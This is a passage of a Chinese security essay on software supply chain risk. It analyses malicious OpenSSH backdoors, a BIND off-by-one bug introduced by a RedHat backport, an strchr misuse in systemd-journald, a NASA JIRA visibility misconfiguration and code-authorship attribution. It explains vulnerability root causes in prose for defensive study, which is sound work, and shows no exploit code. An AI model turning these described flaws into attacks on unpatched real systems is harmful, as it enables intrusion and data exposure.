这种不确定性有多大？我们粗估一下，似乎不应成为问题。但这份白皮书给我们看到了鲜活的数据。 ESET研究人员从OpenSSH的一次历史大规模Linux服务端恶意软件Windigo中获得启示，采用某种巧妙的方式，面向在野的服务器进行数据采集，主要是系统与版本、安装的OpenSSH版本信息以及服务端程序文件的一个特殊签名。整理一个签名白名单，包含有所有能搜索到的官方发布二进制版本、各大Linux发行版本各个版本所带的程序文件版本，将这些标定为正常样本进行去除。最终结论是： ·共发现了几百个非白名单版本的OpenSSH服务端程序文件ssh和sshd； ·分析这些样本，将代码部分完全相同，仅仅是数据和配置不同的合并为一类，且分析判定确认有恶意代码的，共归纳为 21个各异的恶意OpenSSH家族； ·在21个恶意家族中，有12个家族在10月份时完全没有被公开发现分析过；而剩余的有一部分使用了历史上披露的恶意代码样本，甚至有源代码； ·所有恶意样本的实现，从实现复杂度、代码混淆和自我保护程度到代码特征有很大跨度的不同，但整体看，目的以偷取用户凭证等敏感信息、回连外传到攻击者为主，其中有的攻击者回连地址已经存在并活跃数年之久； ·这些后门的操控者，既有传统恶意软件黑产人员，也有APT组织； ·所有恶意软件或多或少都在被害主机上有未抹除的痕迹。ESET研究者尝试使用蜜罐引诱出攻击者，但仍有许多未解之谜。这场对抗，仍未取胜。 白皮书用了大篇幅做技术分析报告，此处供细节分析，不展开分析，以下为根据恶意程序复杂度描绘的21个家族图谱： 问题思考 问题引入的可能渠道，我在开头进行了一点推测，主要是由人的原因切入的，除此以外，最可能的是恶意攻击者在利用各种方法入侵目标主机后，主动替换了目标OpenSSH为恶意版本，从而达成攻击持久化操作。但是这些都是止血的安全运维人员该考虑的事情；关键问题是，透过表象，这显露了什么威胁形式？ 这个问题很好回答，之前也曾经反复说过：基础软件碎片化。 如上一章节简单提到，在开发过程中有各种可能的渠道引入开发者不完全了解和信任的代码；在运维过程中也是如此。二者互相作用，造成了软件碎片化的庞杂现状。在企业内部，同一份基础软件库，可能不同的业务线各自定制一份，放到企业私有软件仓库源中，有些会有人持续更新供自己产品使用，有些由系统软件基础设施维护人员单独维护，有些则可能是开发人员临时想起来上传的，他们自己都不记得；后续用到的这个基础软件的开发和团队，在这个源上搜索到已有的库，很大概率会倾向于直接使用，不管来源、是否有质量背书等。长此以往问题会持续发酵。而我们开最坏的脑洞，是否可能有黑产人员入职到内部，提交个恶意基础库之后就走人的可能？现行企业安全开发流程中审核机制的普遍缺失给这留下了空位。 将源码来源碎片化与二进制使用碎片化并起来考虑，我们不难看到一个远远超过OpenSSH事件威胁程度的图景。但这个问题不是仅仅靠开发阶段规约、运维阶段规范、企业内部管控、行业自查、政府监管就可以根除的，最大的问题归根结底两句话： 不可能用一场战役对抗持续威胁；不可能用有限分析对抗无限未知。 Ⅲ. 从自信到自省：RHEL、CentOS backport版本BIND漏洞 2018年12月20日凌晨，在备战冬至的软件供应链安全大赛决赛时，我注意到漏洞预警平台捕获的一封邮件。但这不是一个漏洞初始披露邮件，而是对一个稍早已披露的BIND在RedHat、CentOS发行版上特定版本的1day漏洞CVE-2018-5742，由BIND的官方开发者进行额外信息澄(shuǎi)清(guō)的邮件。 一些必要背景 关于BIND 互联网的一个古老而基础的设施是DNS，这个概念在读者不应陌生。而BIND“是现今互联网上最常使用的DNS软件，使用BIND作为服务器软件的DNS服务器约占所有DNS服务器的九成。BIND现在由互联网系统协会负责开发与维护参考。”所以BIND的基础地位即是如此，因此也一向被大量白帽黑帽反复测试、挖掘漏洞，其开发者大概也一直处在紧绷着应对的处境。 关于ISC和RedHat 说到开发者，上面提到BIND的官方开发者是互联网系统协会（ISC）。ISC是一个老牌非营利组织，目前主要就是BIND和DHCP基础设施的维护者。而BIND本身如同大多数历史悠久的互联网基础开源软件，是4个UCB在校生在DARPA资助下于1984年的实验室产物，直到2012年由ISC接管。 那么RedHat在此中是什么角色呢？这又要提到我之前提到的Linux发行版和自带软件维护策略。Red Hat Enterprise Linux（RHEL）及其社区版CentOS秉持着稳健的软件策略，每个大的发行版本的软件仓库，都只选用最必要且质量久经时间考验的软件版本，哪怕那些版本实在是老掉牙。这不是一种过分的保守，事实证明这种策略往往给RedHat用户在最新漏洞面前提供了保障——代码总是跑得越少，潜在漏洞越多。 但是这有两个关键问题。一方面，如果开源基础软件被发现一例有历史沿革的代码漏洞，那么官方开发者基本都只为其最新代码负责，在当前代码上推出修复补丁。另一方面，互联网基础设施虽然不像其上的应用那样爆发性迭代，但依然持续有一些新特性涌现，其中一些是必不可少的，但同样只在最新代码中提供。两个刚需推动下，各Linux发行版对长期支持版本系统的软件都采用一致的策略，即保持其基础软件在一个固定的版本，但对于这些版本软件的最新漏洞、必要的最新软件特性，由发行版维护者将官方开发者最新代码改动“向后移植”到旧版本代码中，即backport。这就是基础软件的“官宣”碎片化的源头。 讲道理，Linux发行版维护者与社区具有比较靠谱的开发能力和监督机制，backport又基本就是一些复制粘贴工作，应当是很稳当的……但真是如此吗？ CVE-2018-5742漏洞概况 CVE-2018-5742是一个简单的缓冲区溢出类型漏洞，官方评定其漏洞等级moderate，认为危害不大，漏洞修复不积极，披露信息不多，也没有积极给出代码修复patch和新版本rpm包。因为该漏洞仅在设置DEBUG_LEVEL为10以上才会触发，由远程攻击者构造畸形请求造成BIND服务崩溃，在正常的生产环境几乎不可能具有危害，RedHat官方也只是给出了用户自查建议。 这个漏洞只出现在RHEL和CentOS版本7中搭载的BIND 9.9.4-65及之后版本。RedHat同ISC的声明中都证实，这个漏洞的引入原因，是RedHat在尝试将BIND 9.11版本2016年新增的NTA机制向后移植到RedHat 7系中固定搭载的BIND 9.9版本代码时，偶然的代码错误。NTA是DNS安全扩展（DNSSEC）中，用于在特定域关闭DNSSEC校验以避免不必要的校验失败的机制；但这个漏洞不需要对NTA本身有进一步了解。 漏洞具体分析 官方没有给出具体分析，但根据CentOS社区里先前有用户反馈的bug，我得以很容易还原漏洞链路并定位到根本原因。 若干用户共同反馈，其使用的BIND 9.9.4-RedHat-9.9.4-72.el7发生崩溃（coredump），并给出如下的崩溃时调用栈backtrace： 这个调用过程的逻辑为，在9 dns_message_logfmtpacket函数判断当前软件设置是否DEBUG_LEVEL大于10，若是，对用户请求数据包做日志记录，先后调用8 dns_message_totext、7 dns_message_sectiontotext、6 dns_master_rdatasettotext、5 rdataset_totext将请求进行按协议分解分段后写出。 由以上关键调用环节，联动RedHat在9.9.4版本BIND源码包中关于引入NTA特性的源码patch，进行代码分析，很快定位到问题产生的位置，在上述backtrace中的5，masterdump.c文件rdataset_totext函数。漏洞相关代码片段中，RedHat进行backport后，这里引入的代码为： 这里判断对于请求中的注释类型数据，直接通过isc_buffer_putstr宏对缓存进行操作，在BIND工程中自定义维护的缓冲区结构对象target上，附加一字节字符串（一个分号）。而漏洞就是由此产生：isc_buffer_putstr中不做缓冲区边界检查保证，这里在缓冲区已满情况下将造成off-by-one溢出，并触发了缓冲区实现代码中的assertion。 而ISC上游官方版本的代码在这里是怎么写的呢？找到ISC版本BIND 9.11代码，这里是这样的： 这里可以看到，官方代码在做同样的“附加一个分号”这个操作时，审慎的使用了做缓冲区剩余空间校验的str_totext函数，并额外做返回值成功校验。而上述提到的str_totext函数与RETERR宏，在移植版本的masterdump.c中，RedHat开发者也都做了保留。但是，查看代码上下文发现，在RedHat开发者进行代码移植过程中，对官方代码进行了功能上的若干剪裁，包括一些细分数据类型记录的支持；而这里对缓冲区写入一字节，也许开发者完全没想到溢出的可能，所以自作主张地简化了代码调用过程。 问题思考 这个漏洞本身几乎没什么危害，但是背后足以引起思考。 没有人在“借”别人代码时能不出错 不同于之前章节提到的那种场景——将代码文件或片段复制到自己类似的代码上下文借用——backport作为一种官方且成熟的做法，借用的代码来源、粘贴到的代码上下文，是具有同源属性的，而且开发者一般是追求稳定性优先的社区开发人员，似乎质量应该有足够保障。但是这里的关键问题是：代码总要有一手、充分的语义理解，才能有可信的使用保障；因此，只要是处理他人的代码，因为不够理解而错误使用的风险，只可能减小，没办法消除。 如上分析，本次漏洞的产生看似只是做代码移植的开发者“自作主张”之下“改错了”。但是更广泛且可能的情况是，原始开发者在版本迭代中引入或更新大量基础数据结构、API的定义，并用在新的特性实现代码中；而后向移植开发人员仅需要最小规模的功能代码，所以会对增量代码进行一定规模的修改、剪裁、还原，以此适应旧版本基本代码。这些过程同样伴随着第三方开发人员不可避免的“望文生义”，以及随之而来的风险。后向移植操作也同样助长了软件碎片化过程，其中每一个碎片都存在这样的问题；每一个碎片在自身生命周期也将有持续性影响。 多级复制粘贴无异于雪上加霜 这里简单探讨的是企业通行的系统和基础软件建设实践。一些国内外厂商和社区发布的定制化Linux发行版，本身是有其它发行版，如CentOS特定版本渊源的，在基础软件上即便同其上游发行版最新版本间也存在断层滞后。RedHat相对于基础软件开发者之间已经隔了一层backport，而我们则人为制造了二级风险。 在很多基础而关键的软件上，企业系统基础设施的维护者出于与RedHat类似的初衷，往往会决定自行backport一份拷贝；通过早年心脏滴血事件的洗礼，即暴露出来OpenSSL一个例子。无论是需要RHEL还没来得及移植的新版本功能特性，还是出于对特殊使用上下文场景中更高执行效率的追求，企业都可能自行对RHEL上基础软件源码包进行修改定制重打包。这个过程除了将风险幂次放大外，也进一步加深了代码的不可解释性（包括基础软件开发人员流动性带来的不可解释）。 Ⅳ. 从武功到死穴：从systemd-journald信息泄露一窥API误用 1月10日凌晨两点，漏洞预警平台爬收取一封漏洞披露邮件。披露者是Qualys，那就铁定是重型发布了。最后看披露漏洞的目标，systemd？这就非常有意思了。 一些必要背景 systemd是什么，不好简单回答。Linux上面软件命名，习惯以某软件名后带个‘d’表示后台守护管理程序；所以systemd就可以说是整个系统的看守吧。而即便现在描述了systemd是什么，可能也很快会落伍，因为其初始及核心开发者Lennart Poettering（供职于Red Hat）描述它是“永无开发完结完整、始终跟进技术进展的、统一所有发行版无止境的差异”的一种底层软件。笼统讲有三个作用：中央化系统及设置管理；其它软件开发的基础框架；应用程序和系统内核之间的胶水。如今几乎所有Linux发行版已经默认提供systemd，包括RHEL/CentOS 7及后续版本。总之很基础、很底层、很重要就对了。systemd本体是个主要实现init系统的框架，但还有若干关键组件完成其它工作；这次被爆漏洞的是其journald组件，是负责系统事件日志记录的看守程序。 额外地还想简单提一句Qualys这个公司。该公司创立于1999年，官方介绍为信息安全与云安全解决方案企业，to B的安全业务非常全面，有些也是国内企业很少有布局的方面；例如上面提到的涉及碎片化和代码移植过程的历史漏洞移动，也在其漏洞管理解决方案中有所体现。但是我们对这家公司粗浅的了解来源于其安全研究团队近几年的发声，这两年间发布过的，包括有『stack clash』、『sudo get_tty_name提权』、『OpenSSH信息泄露与堆溢出』、『GHOST：glibc gethostbyname缓冲区溢出』等大新闻（仅截至2017年年中）。从中可见，这个研究团队专门啃硬骨头，而且还总能开拓出来新的啃食方式，往往爆出来一些别人没想到的新漏洞类型。从这个角度，再联想之前刷爆朋友圈的《安全研究者的自我修养》所倡导的“通过看历史漏洞、看别人的最新成果去举一反三”的理念，可见差距。 CVE-2018-16866漏洞详情 这次漏洞披露，打包了三个漏洞： ·16864和16865是内存破坏类型 ·16866是信息泄露 ·而16865和16866两个漏洞组和利用可以拿到root shell。 漏洞分析已经在披露中写的很详细了，这里不复述；而针对16866的漏洞成因来龙去脉，Qualys跟踪的结果留下了一点想象和反思空间，我们来看一下。 漏洞相关代码片段是这样的（漏洞修复前）： 读者可以先肉眼过一遍这段代码有什么问题。实际上我一开始也没看出来，向下读才恍然大悟。 这段代码中，外部信息输入通过buf传入做记录处理。输入数据一般包含有空白字符间隔，需要分隔开逐个记录，有效的分隔符包括空格、制表符、回车、换行，代码中将其写入常量字符串；在逐字符扫描输入数据字符串时，将当前字符使用strchr在上述间隔符字符串中检索是否匹配，以此判断是否为间隔符；在240行，通过这样的判断，跳过记录单元字符串的头部连续空白字符。 但是问题在于，strchr这个极其基础的字符串处理函数，对于C字符串终止字符'\0'的处理上有个坑：'\0'也被认为是被检索字符串当中的一个有效字符。所以在240行，当当前扫描到的字符为字符串末尾的NULL时，strchr返回的是WHITESPACE常量字符串的终止位置而非NULL，这导致了越界。 看起来，这是一个典型的问题：API误用（API mis-use），只不过这个被误用的库函数有点太基础，让我忍不住想是不是还会有大量的类似漏洞……当然也反思我自己写的代码是不是也有同样情况，然而略一思考就释然了——我那么笨的代码都用for循环加if判断了:) 漏洞引入和消除历史 有意思的是，Qualys研究人员很贴心地替我做了一步漏洞成因溯源，这才是单独提这个漏洞的原因。漏洞的引入是在2015年的一个commit中： 在GitHub中，定位到上述2015年的commit信息，这里commit的备注信息为： journald: do not strip leading whitespace from messages. Keep leading whitespace for compatibility with older syslog implementations. Also useful when piping formatted output to the logger command. Keep removing trailing whitespace. OK，看起来是一个兼容性调整，对记录信息不再跳过开头所有连续空白字符，只不过用strchr的简洁写法比较突出开发者精炼的开发风格（并不），说得过去。 之后在2018年八月的一个当时尚未推正式版的另一次commit中被修复了，先是还原成了ec5ff4那次commit之前的写法，然后改成了加校验的方式： 虽然Qualys研究者认为上述的修改是“无心插柳”的改动，但是在GitHub可以看到，a6aadf这次commit是因为有外部用户反馈了输入数据为单个冒号情况下journald堆溢出崩溃的issue，才由开发者有目的性地修复的；而之后在859510这个commit再次改动回来，理由是待记录的消息都是使用单个空格作为间隔符的，而上一个commit粗暴地去掉了这种协议兼容性特性。 如果没有以上纠结的修改和改回历史，也许我会倾向于怀疑，在最开始漏洞引入的那个commit，既然改动代码没有新增功能特性、没有解决什么问题（毕竟其后三年，这个改动的代码也没有被反映issue），也并非出于代码规范等考虑，那么这么轻描淡写的一次提交，难免有人为蓄意引入漏洞的嫌疑。当然，看到几次修复的原因，这种可能性就不大了，虽然大家仍可以保留意见。但是抛开是否人为这个因素，单纯从代码的漏洞成因看，一个传统但躲不开的问题仍值得探讨：API误用。 API误用：程序员何苦为难程序员 如果之前的章节给读者留下了我反对代码模块化和复用的印象，那么这里需要正名一下，我们认可这是当下开发实践不可避免的趋势，也增进了社会开发速度。而API的设计决定了写代码和用代码的双方“舒适度”的问题，由此而来的API误用问题，也是一直被当做单纯的软件工程课题讨论。在此方面个人并没有什么研究，自然也没办法系统地给出分类和学术方案，只是谈一下自己的经验和想法。 一篇比较新的学术文章总结了API误用的研究，其中一个独立章节专门分析Java密码学组件API误用的实际，当中引述之前论文认为，密码学API是非常容易被误用的，比如对期望输入数据（数据类型，数据来源，编码形式）要求的混淆，API的必需调用次序和依赖缺失（比如缺少或冗余多次调用了初始化函数、主动资源回收函数）等。凑巧在此方面我有一点体会：曾经因为业务方需要，需要使用C++对一个Java的密码基础中间件做移植。Java对密码学组件支持，有原生的JDK模块和权威的BouncyCastle包可用；而C/C++只能使用第三方库，考虑到系统平台最大兼容和最小代码量，使用Linux平台默认自带的OpenSSL的密码套件。但在开发过程中感受到了OpenSSL满满的恶意：其中的API设计不可谓不反人类，很多参数没有明确的说明（比如同样是表示长度的函数参数，可能在不同地方分别以字节/比特/分组数为计数单位）；函数的线程安全没有任何解释标注，需要自行试验；不清楚函数执行之后，是其自行做了资源释放还是需要有另外API做gc，不知道资源释放操作时是否规规矩矩地先擦除后释放……此类问题不一而足，导致经过了漫长的测试之后，这份中间件才提供出来供使用。而在业务场景中，还会存在比如其它语言调用的情形，这些又暴露出来OpenSSL API误用的一些完全无从参考的问题。这一切都成为了噩梦；当然这无法为我自己开解是个不称职开发的指责，但仅就OpenSSL而言其API设计之恶劣也是始终被人诟病的问题，也是之后其他替代者宣称改进的地方。 当然，问题是上下游都脱不了干系的。我们自己作为高速迭代中的开发人员，对于二方、三方提供的中间件、API，又有多少人能自信地说自己仔细、认真地阅读过开发指南和API、规范说明呢？做过通用产品技术运营的朋友可能很容易理解，自己产品的直接用户日常抛出不看文档的愚蠢问题带来的困扰。对于密码学套件，这个问题还好办一些，毕竟如果在没有背景知识的情况下对API望文生义地一通调用，绝大多数情况下都会以抛异常形式告终；但还是有很多情况，API误用埋下的是长期隐患。 不是所有API误用情形最终都有机会发展成为可利用的安全漏洞，但作为一个由人的因素引入的风险，这将长期存在并困扰软件供应链（虽然对安全研究者、黑客与白帽子是很欣慰的事情）。可惜，传统的白盒代码扫描能力，基于对代码语义的理解和构建，但是涉及到API则需要预先的抽象，这一点目前似乎仍然是需要人工干预的事情；或者轻量级一点的方案，可以case by case地分析，为所有可能被误用的API建模并单独扫描，这自然也有很强局限性。在一个很底层可信的开发者还对C标准库API存在误用的现实内，我们需要更多的思考才能说接下来的解法。 Ⅴ. 从规则到陷阱：NASA JIRA误配置致信息泄露血案 软件的定义包括了代码组成的程序，以及相关的配置、文档等。当我们说软件的漏洞、风险时，往往只聚焦在其中的代码中；关于软件供应链安全风险，我们的比赛、前面分析的例子也都聚焦在了代码的问题；但是真正的威胁都来源于不可思议之处，那么代码之外有没有可能存在来源于上游的威胁呢？这里就借助实例来探讨一下，在“配置”当中可能栽倒的坑。 引子：发不到500英里以外的邮件？ 让我们先从一个轻松愉快的小例子引入。这个例子初见于Linux中国的一篇译文。 简单说，作者描述了这么一个让人啼笑皆非的问题：单位的邮件服务器发送邮件，发送目标距离本地500英里范围之外的一律失败，邮件就像悠悠球一样只能飞出一定距离。这个问题本身让描述者感到尴尬，就像一个技术人员被老板问到“为什么从家里笔记本上Ctrl-C后不能在公司台式机上Ctrl-V”一样。 经过令人窒息的分析操作后，笔者定位到了问题原因：笔者作为负责的系统管理员，把SunOS默认安装的Senmail从老旧的版本5升级到了成熟的版本8，且对应于新版本诸多的新特性进行了对应配置，写入配置文件sendmail.cf；但第三方服务顾问在对单位系统进行打补丁升级维护时，将系统软件“升级”到了系统提供的最新版本，因此将Sendmail实际回退到了版本5，却为了软件行为一致性，原样保留了高版本使用的配置文件。但Sendmail并没有在大版本间保证配置文件兼容性，这导致很多版本5所需的配置项不存在于保留下来的sendmail.cf文件中，程序按默认值0处理；最终引起问题的就是，邮件服务器与接收端通信的超时时间配置项，当取默认配置值0时，邮件服务器在1个单位时间（约3毫秒）内没有收到网络回包即认为超时，而这3毫秒仅够电信号打来回飞出500英里。 这个“故事”可能会给技术人员一点警醒，错误的配置会导致预期之外的软件行为，但是配置如何会引入软件供应链方向的安全风险呢？这就引出了下一个重磅实例。 JIRA配置错误致NASA敏感信息泄露案例 我们都听过一个事情，马云在带队考察美国公司期间问Google CEO Larry Page自视谁为竞争对手，Larry的回答是NASA，因为最优秀的工程师都被NASA的梦想吸引过去了。由此我们显然能窥见NASA的技术水位之高，这样的人才团队大概至少是不会犯什么低级错误的。 但也许需要重新定义“低级错误”……1月11日一篇技术文章披露，NASA某官网部署使用的缺陷跟踪管理系统JIRA存在错误的配置，可分别泄漏内部员工（JIRA系统用户）的全部用户名和邮件地址，以及内部项目和团队名称到公众，如下： 问题的原因解释起来也非常简单：JIRA系统的过滤器和配置面板中，对于数据可见性的配置选项分别选定为All users和Everyone时，系统管理人员想当然地认为这意味着将数据对所有“系统用户”开放查看，但是JIRA的这两个选项的真实效果逆天，是面向“任意人”开放，即不限于系统登录用户，而是任何查看页面的人员。看到这里，我不厚道地笑了……“All users”并不意味着“All ‘users’”，意不意外，惊不惊喜？ 但是这种字面上把戏，为什么没有引起NASA工程师的注意呢，难道这样逆天的配置项没有在产品手册文档中加粗标红提示吗？本着为JIRA产品设计找回尊严的态度，我深入挖掘了一下官方说明，果然在Atlassian官方的一份confluence文档（看起来更像是一份增补的FAQ）中找到了相关说明： 所有未登录访客访问时，系统默认认定他们是匿名anonymous用户，所以各种权限配置中的all users或anyone显然应该将匿名用户包括在内。在7.2及之后版本中，则提供了“所有登录用户”的选项。 可以说是非常严谨且贴心了。比较讽刺的是，在我们的软件供应链安全大赛·C源代码赛季期间，我们设计圈定的恶意代码攻击目标还包括JIRA相关的敏感信息的窃取，但是却想不到有这么简单方便的方式，不动一行代码就可以从JIRA中偷走数据。 软件的使用，你“配”吗？ 无论是开放的代码还是成型的产品，我们在使用外部软件的时候，都是处于软件供应链下游的消费者角色，为了要充分理解上游开发和产品的真实细节意图，需要我们付出多大的努力才够“资格”？ 上一章节我们讨论过源码使用中必要细节信息缺失造成的“API误用”问题，而软件配置上的“误用”问题则复杂多样得多。从可控程度上讨论，至少有这几种因素定义了这个问题： ·软件用户对必要配置的现有文档缺少了解。这是最简单的场景，但又是完全不可避免的，这一点上我们所有有开发、产品或运营角色经验的应该都曾经体会过向不管不顾用户答疑的痛苦，而所有软件使用者也可以反省一下对所有软件的使用是否都以完整细致的文档阅读作为上手的准备工作，所以不必多说。 ·软件拥有者对配置条目缺少必要明确说明文档。就JIRA的例子而言，将NASA工程师归为上一条错误有些冤枉，而将JIRA归为这条更加合适。在边角但重要问题上的说明通过社区而非官方文档形式发布是一种不负责任的做法，但未引发安全事件的情况下还有多少这样的问题被默默隐藏呢？我们没办法要求在使用软件之前所有用户将软件相关所有文档、社区问答实现全部覆盖。这个问题范围内一个代表性例子是对配置项的默认值以及对应效果的说明缺失。 ·配置文件版本兼容性带来的误配置和安全问题。实际上，上面的SunOS Sendmail案例足以点出这个问题的存在性，但是在真实场景下，很可能不会以这么戏剧性形式出现。在企业的系统运维中，系统的版本迭代常见，但为软件行为一致性，配置的跨版本迁移是不可避免的操作；而且软件的更新迭代也不只会由系统更新推动，还有大量出于业务性能要求而主动进行的定制化升级，对于中小企业基础设施建设似乎是一个没怎么被提及过的问题。 ·配置项组合冲突问题。尽管对于单个配置项可能明确行为与影响，但是特定的配置项搭配可能造成不可预知的效果。这完全有可能是由于开发者与用户在信息不对等的情况下产生：开发者认为用户应该具有必需的背景知识，做了用户应当具备规避配置冲突能力的假设。一个例子是，对称密码算法在使用ECB、CBC分组工作模式时，从密码算法上要求输入数据长度必须是分组大小的整倍数，但如果用户搭配配置了秘钥对数据不做补齐（nopadding），则引入了非确定性行为：如果密码算法库对这种组合配置按某种默认补齐方式操作数据则会引起歧义，但如果在算法库代码层面对这种组合抛出错误则直接影响业务。 ·程序对配置项处理过程的潜在暗箱操作。这区别于简单的未文档化配置项行为，仅特指可能存在的蓄意、恶意行为。从某种意义上，上述“All users”也可以认为是这样的一种陷阱，通过浅层次暗示，引导用户做出错误且可能引起问题的配置。另一种情况是特定配置组合情况下触发恶意代码的行为，这种触发条件将使恶意代码具有规避检测的能力，且在用户基数上具有一定概率的用户命中率。当然这种情况由官方开发者直接引入的可能性很低，但是在众包开发的情况下如果存在，那么扫描方案是很难检测的。 Ⅵ. 从逆流到暗流：恶意代码溯源后的挑战 如果说前面所说的种种威胁都是面向关键目标和核心系统应该思考的问题，那么最后要抛出一个会把所有人拉进赛场的理由。除了前面所有那些在软件供应链下游被动污染受害的情况，还有一种情形：你有迹可循的代码，也许在不经意间会“反哺”到黑色产业链甚至特殊武器中；而现在研究用于对程序进行分析和溯源的技术，则会让你陷入百口莫辩的境地。 案例：黑产代码模块溯源疑云 1月29日，猎豹安全团队发布技术分析通报文章《电信、百度客户端源码疑遭泄漏，驱魔家族窃取隐私再起波澜》，矛头直指黑产上游的恶意信息窃取代码模块，认定其代码与两方产品存在微妙的关联：中国电信旗下“桌面3D动态天气”等多款软件，以及百度旗下“百度杀毒”等软件（已不可访问）。 文章中举证有三个关键点。 首先最直观的，是三者使用了相同的特征字符串、私有文件路径、自定义内部数据字段格式； 其次，在关键代码位置，三者在二进制程序汇编代码层面具有高度相似性； 最终，在一定范围的非通用程序逻辑上，三者在经过反汇编后的代码语义上显示出明显的雷同，并提供了如下两图佐证（图片来源）： 文章指出的涉事相关软件已经下线，对于上述样本文件的相似度试验暂不做复现，且无法求证存在相似、疑似同源的代码在三者中占比数据。对于上述指出的代码雷同现象，猎豹安全团队认为： 我们怀疑该病毒模块的作者通过某种渠道(比如“曾经就职”)，掌握有中国电信旗下部分客户端/服务端源码，并加以改造用于制作窃取用户隐私的病毒，另外在该病毒模块的代码中，我们还发现“百度”旗下部分客户端的基础调试日志函数库代码痕迹，整个“驱魔”病毒家族疑点重重，其制作传播背景愈发扑朔迷离。 这样的推断，固然有过于直接的依据（例如三款代码中均使用含有“baidu”字样的特征注册表项）；但更进一步地，需要注意到，三个样本在所指出的代码位置，具有直观可见的二进制汇编代码结构的相同，考虑到如果仅仅是恶意代码开发者先逆向另外两份代码后借鉴了代码逻辑，那么在面临反编译、代码上下文适配重构、跨编译器和选项的编译结果差异等诸多不确定环节，仍能保持二进制代码的雷同，似乎确实是只有从根本上的源代码泄漏（抄袭）且保持相同的开发编译环境才能成立。 但是我们却又无法做出更明确的推断。这一方面当然是出于严谨避免过度解读；而从另一方面考虑，黑产代码的一个关键出发点就是“隐藏自己”，而这里居然如此堂而皇之地照搬了代码，不但没有进行任何代码混淆、变形，甚至没有抹除疑似来源的关键字符串，如果将黑产视为智商在线的对手，那这里背后是否有其它考量，就值得琢磨了。 代码的比对、分析、溯源技术水准 上文中的安全团队基于大量样本和粗粒度比对方法，给出了一个初步的判断和疑点。那么是否有可能获得更确凿的分析结果，来证实或证伪同源猜想呢？ 无论是源代码还是二进制，代码比对技术作为一种基础手段，在软件供应链安全分析上都注定仍然有效。在我们的软件供应链安全大赛期间，针对PE二进制程序类型的题目，参赛队伍就纷纷采用了相关技术手段用于目标分析，包括：同源性分析，用于判定与目标软件相似度最高的同软件官方版本；细粒度的差异分析，用于尝试在忽略编译差异和特意引入的混淆之外，定位特意引入的恶意代码位置。当然，作为比赛中针对性的应对方案，受目标和环境引导约束，这些方法证明了可行性，却难以保证集成有最新技术方案。那么做一下预言，在不计入情报辅助条件下，下一代的代码比对将能够到达什么水准？ 这里结合近一年和今年内，已发表和未发表的学术领域顶级会议的相关文章来简单展望： ·针对海量甚至全量已知源码，将可以实现准确精细化的“作者归属”判定。在ACM CCS‘18会议上曾发表的一篇文章《Large-Scale and Language-Oblivious Code Authorship Identification》，描述了使用RNN进行大规模代码识别的方案，在圈定目标开发者，并预先提供每个开发者的5-7份已知的代码文件后，该技术方案可以很有效地识别大规模匿名代码仓库中隶属于每个开发者的代码：针对1600个Google Code Jam开发者8年间的所有代码可以实现96%的成功识别率，而针对745个C代码开发者于1987年之后在GitHub上面的全部公开代码仓库，识别率也高达94.38%。这样的结果在当下的场景中，已经足以实现对特定人的代码识别和跟踪（例如，考虑到特定开发人员可能由于编码习惯和规范意识，在时间和项目跨度上犯同样的错误）；可以预见，在该技术方向上，完全可以期望摆脱特定已知目标人的现有数据集学习的过程，并实现更细粒度的归属分析，例如代码段、代码行、提交历史。 ·针对二进制代码，更准确、更大规模、更快速的代码主程序分析和同源性匹配。近年来作为一项程序分析基础技术研究，二进制代码相似性分析又重新获得了学术界和工业界的关注。在2018年和2019（已录用）的安全领域四大顶级会议上，每次都会有该方向最新成果的展示，如S&P‘2019上录用的《Asm2Vec: Boosting Static Representation Robustness for Binary Clone Search against Code Obfuscation and Compiler Optimization》，实现无先验知识的条件下的最优汇编代码级别克隆检测，针对漏洞库的漏洞代码检测可实现0误报、100%召回。而2018年北京HITB会议上，Google Project Zero成员、二进制比对工具BinDiff原始作者Thomas Dullien，探讨了他借用改造Google自家SimHash算法思想，用于针对二进制代码控制流图做相似性检测的尝试和阶段结果；这种引入规模数据处理的思路，也可期望能够在目前其他技术方案大多精细化而低效的情况下，为高效、快速、大规模甚至全量代码克隆检测勾出未来方案。 ·代码比对方案对编辑、优化、变形、混淆的对抗。近年所有技术方案都以对代码“变种”的检测有效性作为关键衡量标准，并一定程度上予以保证。上文CCS‘18论文工作，针对典型源代码混淆（如Tigress）处理后的代码，大规模数据集上可有93.42%的准确识别率；S&P‘19论文针对跨编译器和编译选项、业界常用的OLLVM编译时混淆方案进行试验，在全部可用的混淆方案保护之下的代码仍然可以完成81%以上的克隆检测。值得注意的是以上方案都并非针对特定混淆方案单独优化的，方法具有通用价值；而除此以外还有很多针对性的的反混淆研究成果可用；因此，可以认为在采用常规商用代码混淆方案下，即便存在隐藏内部业务逻辑不被逆向的能力，但仍然可以被有效定位代码复用和开发者自然人。 代码溯源技术面前的“挑战” 作为软件供应链安全的独立分析方，健壮的代码比对技术是决定性的基石；而当脑洞大开，考虑到行业的发展，也许以下两种假设的情景，将把每一个“正当”的产品、开发者置于尴尬的境地。 代码仿制 在本章节引述的“驱魔家族”代码疑云案例中，黑产方面通过某种方式获得了正常代码中，功能逻辑可以被自身复用的片段，并以某种方法将其在保持原样的情况下拼接形成了恶意程序。即便在此例中并非如此，但这却暴露了隐忧：将来是不是有这种可能，我的正常代码被泄漏或逆向后出现在恶意软件中，被溯源后扣上黑锅？ 这种担忧可能以多种渠道和形式成为现实。 从上游看，内部源码被人为泄漏是最简单的形式（实际上，考虑到代码的完整生命周期似乎并没有作为企业核心数据资产得到保护，目前实质上有没有这样的代码在野泄漏还是个未知数），而通过程序逆向还原代码逻辑也在一定程度上可获取原始代码关键特征。 从下游看，则可能有多种方式将恶意代码伪造得像正常代码并实现“碰瓷”。最简单地，可以大量复用关键代码特征（如字符串，自定义数据结构，关键分支条件，数据记录和交换私有格式等）。考虑到在进行溯源时，分析者实际上不需要100%的匹配度才会怀疑，因此仅仅是仿造原始程序对于第三方公开库代码的特殊定制改动，也足以将公众的疑点转移。而近年来类似自动补丁代码搜索生成的方案也可能被用来在一份最终代码中包含有二方甚至多方原始代码的特征和片段。 基于开发者溯源的定点渗透 既然在未来可能存在准确将代码与自然人对应的技术，那么这种技术也完全可能被黑色产业利用。可能的忧患包括强针对性的社会工程，结合特定开发者历史代码缺陷的漏洞挖掘利用，联动第三方泄漏人员信息的深层渗透，等等。这方面暂不做联想展开。 〇. 没有总结 作为一场旨在定义“软件供应链安全”威胁的宣言，阿里安全“功守道”大赛将在后续给出详细的分解和总结，其意义价值也许会在一段时间之后才能被挖掘。 